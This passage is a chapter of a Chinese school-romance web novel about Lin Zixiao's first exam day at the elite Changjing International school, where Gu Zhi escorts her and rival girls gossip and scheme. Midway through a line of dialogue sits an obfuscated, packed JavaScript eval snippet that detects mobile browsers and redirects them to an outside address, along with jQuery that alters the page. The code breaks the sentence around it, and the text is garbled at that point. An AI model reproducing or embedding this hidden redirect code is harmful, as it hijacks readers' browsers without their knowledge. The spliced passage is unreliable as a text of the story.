八月初的摸底考很快到来，长京国际召回了所有学生返校考试，就连被流放边关的林景然都回来了。 考试前一天晚上，林恒才派人把林景然接回家，直到第二天早餐时，他才和家里人打上照面。 林梓潇下楼最早，林景然下来的时候，她早就在餐桌上边看书边用餐了。 清晨的柔和的阳光透过落地窗边的梧桐，斑驳地撒在她昳丽的眉眼，冲淡了她没藏好的冷漠，显得颇有些温暖。 察觉到林景然的出现，林梓潇微微偏过头扫了一眼，也仅仅只有那么一眼，目光就又黏回了书上。 当了一个月的网友，猛地线下面基了，还怪不好意思的。 林景然有些近乡情怯地摸了摸后脑勺，想先开口却又不知道说些什么。 就在他不尴不尬地嗫嚅着嘴唇的时候，身后的女孩突然娇笑着扑到了他背上：“哥！你愣着干什么呢？姐姐又不会吃了你！” 林景然吓了一跳，手忙脚乱地接住林蔚然，眼神尴尬得不知道往哪飘：“说，说什么呢，我就是早起还没清醒而已。” “哦，这样啊——”林蔚然意味深长地拉长音调。 “对啊就是这样，”林景然赶紧推着她坐下，“赶紧坐下吃饭吧，一会考试该迟到了。” 林景然偷偷看了看林梓潇的脸色，装作不经意地坐在她对面，一双手都不知道往哪摆。 没有家长在，林梓潇是向来懒得和这两个小的交流的，她也不去听林蔚然林景然在说些什么，自顾自地看书，只当他们两不存在。 林蔚然显然也是吃惯了被林梓潇无视的亏，并不主动搭话。 林景然虽然嘴上跟林蔚然聊着天，但眼神却不停地往林梓潇身上飘。 一个月的豫西生活，算是让他深刻体会到了林梓潇的不容易。 听老爸说，虽然顾家一直在资助林梓潇，给钱也一向很大方，但是除去学杂费，她每个月平均就只用三百块钱。 林景然现在总算知道什么叫一分钱难倒英雄汉了，肉是不敢买的，菜是要货比三家的，零食是不可能的，每天只能靠少动多睡让自己别饿，林景然觉得自己至少瘦了有五斤。 他发现自己以前确实是站着说话不腰疼，当年是他运气好，如果不是性别不对，说不好被抱错的就是他了，要是让他过十几年林梓潇这样的生活，别说没礼貌了，他不去偷不去抢都算他心地善良。 林景然一边想着一边下定了决心，夹起一个汤包想递给林梓潇主动破冰。 就在筷子要往林梓潇那里偏移的时候，林恒突然出现在了餐桌边，拍了拍林景然的肩：“回来了？这一个月没丢掉功课吧。” 林景然吓得手一抖，筷子拐了个弯，慌忙将汤包塞进自己嘴里，含糊道：“没，没丢，保证靠近前五十，分进尖子班。” 林恒欣慰地看着他。 这一个月的生存夏令营看来确实有效果，林景然身上的悬浮被收起了一些，整个人都沉淀了不少。 林恒：“那就好，蔚然也要努力考进尖子班。” “好的爸爸。”林蔚然乖乖应道。 林梓潇在豫西时成绩不错，但跟京城这些教育资源得天独厚的孩子们比怎么样，还尚未可知，林恒怕给她压力，便也没有多说什么。 林蔚然看向顾自看书的林梓潇，弯了弯杏眼：“我看姐姐这些天一直都在看书做题，特别努力，进尖子班肯定也不是问题。” 林梓潇天天看书做题，林景然呆在豫西，学习已经荒废了一个月，到时候要是成绩不如他的话，岂不是很尴尬。 林景然刚想说自己在豫西也常看林梓潇留下的那些书，给她提前铺个台阶，就听见林梓潇淡淡道。 “嗯，争一保二吧。” 林蔚然也没想到林梓潇毫不谦虚，也不给自己留后路，嘴角的弧度愈发扬起：“姐姐这么有自信呀，我们长京的学生可是很厉害的哦，初中三年，年级第一都是被宋玉珩霸占的，要打败他可不容易。” “是啊……宋玉珩，他还挺厉害的呢，是我们学校公认的清北苗子。”林景然有些担忧地看向林梓潇，想提醒她赶紧改口，免得到时难看。 林梓潇却不接茬，眉梢微抬，眼角溢出一丝睥睨来：“刚才谦虚了，不是争一保二，而是，第一非我莫属。” 林景然惊讶地长大了嘴，没想到林梓潇不仅不改口，口气反而还越来越大。 虽然林梓潇在豫西也一直是第一，进尖子班应该不是问题，可那毕竟是霸榜三年的宋玉珩，包揽各类学科竞赛第一的学神，林景然平时学习并没有用尽全力，但他知道自己哪怕学得废寝忘食，也不可能超过宋玉珩。 林梓潇这上来就说必拿第一，未免也太自负了。 与林景然的担忧相反，林恒反而爽朗地笑起来：“哈哈哈哈，好，就是要有这样的自信。” 虽然还不是正式开学，但这也算是林梓潇第一次去学校，林恒打算亲自送三个孩子去学校。 林梓潇瞥了一眼在自己身后热聊的兄妹两人，脚步一转，打算去开副驾的车门。 还没等她坐进车里，熟悉的迈巴赫缓缓地驶入几人的视线。 车子停稳，看着后座走出的高大身影，林梓潇眼睛顿时亮了亮。 顾执穿着学校的制服，他身形颀长好看，把衬衣和学院制服撑得挺拔清俊。 他朝林恒点头示意：“林叔，今天是潇潇第一次去学校，我来接她。” 林恒叹了口气，看着林梓潇明显欢快起来的样子，也只好点头答应：“也好，潇潇，别紧张，考试顺利。” 林梓潇匆匆朝林恒挥手告别，转头就轻车熟路地钻进了顾家的迈巴赫。 林梓潇沉迷学习好多天，顾家也不去了，顾执已经几天都没见到她了。 他逗趣道：“学得把哥哥都忘在脑后了，潇潇这次肯定能考第一喽？” 林梓潇哼哼两声，微微扬起头，像一只骄傲的小孔雀：“当然喽，我从小到大就没拿过第二。” 顾执似笑非笑地看着她故作姿态的小表情，心里欢喜得不得了，情不自禁地伸手摸摸她的长发：“嗯，哥哥当然相信小宝了。” 长京国际是京城数一数二的贵族学校，学费高昂，在这所学校里读书的学生，都是京城非富即贵的家庭，几乎家家都是车接车送的，校门口更是豪车如云。 顾家的司机停在学校前的一个路口，偏头询问顾执：“小少爷，要在这里等你吗？” “不用，”顾执拎起自己和林梓潇的书包，“你回去吧，等五点再过来。” 顾执是高三生，今天是不用返校考试的，他是为了陪林梓潇才来学校的。 顾执一边领着林梓潇往学校里走，一边给她介绍学校。 林家的车跟顾家的车一前一后地停下，两人跟在顾执和林梓潇身后走进学校，很快也遇到了相熟的同学，便分开走了。 顾执在长京国际也算是风云人物了，长得好看又学习好的人，在哪都能吃得开。 林梓潇身后的几个女生认出了顾执，小小声的八卦：“那是不是顾执学长啊？好帅哦……” “是他是他，话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580954|187211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说他旁边的女生是谁啊，好面生。” “不认识，之前不是我们长京的学生吧，要不然这么漂亮的我们肯定知道。” 这时正是学生入校的高峰期，路上的学生摩肩接踵，顾执单肩背着自己的书包，一手拎着林梓潇的包，一手虚揽在她的身侧护着，姿态的亲密不加掩饰。 林蔚然走在顾执和林梓潇身后，正巧遇上了自己初中时的同班同学谢朝颜。 谢朝颜的眼神有些怨尤，死死地盯着顾执的后背，好似要把他盯穿似的。 林蔚然脸上扬起笑意，立刻快步走到了谢朝颜身边，俏皮地拍了拍她：“好巧啊朝朝，你在哪个考场？” 谢朝颜迅速收敛了表情，有些僵硬地弯了弯嘴角：“是你啊蔚然，我在5班，你呢？” “我是七班，同一层楼，一起走吧。”林蔚然亲昵挽上谢朝颜的手。 “蔚然，你跟顾家熟，顾执哥旁边那个女生是谁你认识吗？”谢朝颜抿了抿唇，视线又黏回了顾执身上。 今天还没到高三开学的日子，顾执会出现在这里，显然是因为他身边那个女生。 “哦，你说梓潇姐姐啊，”林蔚然脸上露出恍然大悟的表情，“她之前一直被顾家资助，叔叔阿姨认她做干女儿了，最近才转来长京的，估计是叔叔阿姨让顾执哥陪他来考试的吧。” “哦，贫困生啊——”谢朝颜拉长的语调里顿时带上了几分不屑。 长京为了高考季时的战报好看些，每年都会用高额的奖学金招收一些成绩优异的贫困生。 “成绩好有什么用，第一还不是玉珩的，”谢朝颜翻了个白眼：“学校浪费这些钱招这帮穷人干什么，做慈善吗？” “别这么说，”林蔚然拦了拦谢朝颜，“梓潇姐姐成绩很好的，这些天也特别努力，她很有信心能超过玉珩的，说不准这次第一就是她了呢？” 谢朝颜大声地嗤笑道：“她说的能超过玉珩？呵，蔚然，她脑子不清醒，你也傻了不成？真当我们长京是什么阿猫阿狗都能上的吗？” 林蔚然收起自己隐秘的笑意，晃了晃谢朝颜手：“朝朝小声点，别让顾执哥听到了。” 听到顾执的名字，许旖这才收敛了些。 顾执把林梓潇送到五班门口，才将手里的书包递给她，拍拍脑袋以示鼓励：“考试加油，别紧张。” “知道啦，我才不会紧张嘞。”林梓潇接过书包，朝顾执吐了吐舌头，转身跑进了教室。 顾执无奈地摇了摇头。 还是小朋友呢。 他低头看了看手里的表，准备去学校图书馆看会书。 谢朝颜见顾执落单，立刻松开了林蔚然的手，奔奔跳跳地凑上去，甜甜地叫道：“顾执哥！你怎么来了呀，中午要不要一起吃饭？” 顾执抬眼看她，在脑海里搜寻关于她的记忆。 好像是谢家的小女儿。 顾执跟她并不相熟，认识她的脸仅仅是因为圈子有交叠，再加上她是班里相熟同学的妹妹，这才有了点印象。 他淡淡点头算是打过招呼：“饭就不吃了。” “哎，顾……”眼见着顾执已经越走越远，谢朝颜气恼地跺了跺脚。 林蔚然见目的已经达到，杏眼中的愉悦多了几分真心实意，她笑着朝谢朝颜告别：“朝朝，那我就先去考场了，中午见。” 谢朝颜沉浸在自己的世界里，她对林蔚然的道别置之不理，怒气冲冲地就冲进了教室。 林蔚然也不恼，在她身后笑眯眯地挥了挥手，目送她离开后，才从五班门口离开。